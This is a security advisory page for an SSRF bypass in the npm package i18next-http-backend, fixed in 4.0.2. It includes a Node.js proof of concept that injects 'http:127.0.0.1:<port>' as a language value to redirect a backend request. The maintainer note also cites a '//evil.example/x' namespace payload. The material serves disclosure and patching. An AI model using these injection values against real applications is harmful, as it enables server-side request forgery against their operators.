GHSA-XVQ9-WJP8-HWQF
Vulnerability from github – Published: 2026-10-06 15:33 – Updated: 2026-10-06 15:33There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.
This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.
Proof of Concept
// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require("node:http");
const Backend = require("i18next-http-backend");
function read(backend, lng, ns) {
return new Promise((resolve) => {
backend.read(lng, ns, (err) => resolve(err));
});
}
async function main() {
let gotRequest = false;
const server = http.createServer((req, res) => {
gotRequest = req.url === "/common.json";
res.writeHead(200, { "content-type": "application/json" });
res.end("{}");
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" });
const lng = `http:127.0.0.1:${server.address().port}`;
const err = await read(backend, lng, "common");
server.close();
const vulnerable = gotRequest && !err;
console.log(vulnerable ? "VULNERABLE" : "SAFE");
if (!vulnerable) process.exitCode = 1;
}
main();
Run:
npm install --ignore-scripts
node poc.js
The expected result is:
VULNERABLE
Why the Previous Patch Was Incomplete
This vulnerability is caused by an incomplete patch for CVE-2026-41691. The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.
The following bypass remains in the current release: lng=http:127.0.0.1: with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.
Impact
The attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.
Recommended Fix
Parse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.
Please let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.
Maintainer note
Confirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).
Preconditions. The bypass only works when the loadPath / addPath template begins directly with {{lng}} or {{ns}} — no origin and no leading /, e.g. {{lng}}/{{ns}}.json. Only in that position is http: parsed as a URL scheme. The default /locales/{{lng}}/{{ns}}.json and every template with a leading path or origin are not affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an ns value such as //evil.example/x to become a protocol-relative URL in browsers.
Fix. : is now rejected in both lng and ns values, and // in ns values. No BCP-47 language code contains a colon, and : is i18next's default namespace separator, so no usable namespace name does either.
Affected range. Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is < 4.0.2 rather than >= 3.0.5, <= 4.0.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "i18next-http-backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-105800"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-06T15:33:33Z",
"nvd_published_at": "2026-10-06T15:17:17Z",
"severity": "LOW"
},
"details": "There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n return new Promise((resolve) =\u003e {\n backend.read(lng, ns, (err) =\u003e resolve(err));\n });\n}\n\nasync function main() {\n let gotRequest = false;\n const server = http.createServer((req, res) =\u003e {\n gotRequest = req.url === \"/common.json\";\n res.writeHead(200, { \"content-type\": \"application/json\" });\n res.end(\"{}\");\n });\n\n await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n const lng = `http:127.0.0.1:${server.address().port}`;\n\n const err = await read(backend, lng, \"common\");\n server.close();\n\n const vulnerable = gotRequest \u0026\u0026 !err;\n console.log(vulnerable ? \"VULNERABLE\" : \"SAFE\");\n if (!vulnerable) process.exitCode = 1;\n}\n\nmain();\n```\n\nRun:\n\n```bash\nnpm install --ignore-scripts\nnode poc.js\n```\n\nThe expected result is:\n\n```text\nVULNERABLE\n```\n\n## Why the Previous Patch Was Incomplete\n\nThis vulnerability is caused by an incomplete patch for [CVE-2026-41691](https://github.com/advisories/GHSA-q89c-q3h5-w34g). The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.\n\nThe following bypass remains in the current release: lng=http:127.0.0.1:\u003cport\u003e with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.\n\n## Impact\n\nThe attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.\n\n## Recommended Fix\n\nParse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.\n\nPlease let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).\n\n**Preconditions.** The bypass only works when the `loadPath` / `addPath` template *begins* directly with `{{lng}}` or `{{ns}}` \u2014 no origin and no leading `/`, e.g. `{{lng}}/{{ns}}.json`. Only in that position is `http:` parsed as a URL scheme. The default `/locales/{{lng}}/{{ns}}.json` and every template with a leading path or origin are **not** affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an `ns` value such as `//evil.example/x` to become a protocol-relative URL in browsers.\n\n**Fix.** `:` is now rejected in both `lng` and `ns` values, and `//` in `ns` values. No BCP-47 language code contains a colon, and `:` is i18next\u0027s default namespace separator, so no usable namespace name does either.\n\n**Affected range.** Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is `\u003c 4.0.2` rather than `\u003e= 3.0.5, \u003c= 4.0.1`.",
"id": "GHSA-xvq9-wjp8-hwqf",
"modified": "2026-10-06T15:33:33Z",
"published": "2026-10-06T15:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105800"
},
{
"type": "WEB",
"url": "https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85"
},
{
"type": "PACKAGE",
"url": "https://github.com/i18next/i18next-http-backend"
},
{
"type": "WEB",
"url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "i18next-http-backend incomplete URL validation permits SSRF"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Published Proof of Concept: A public proof of concept is available for this vulnerability.
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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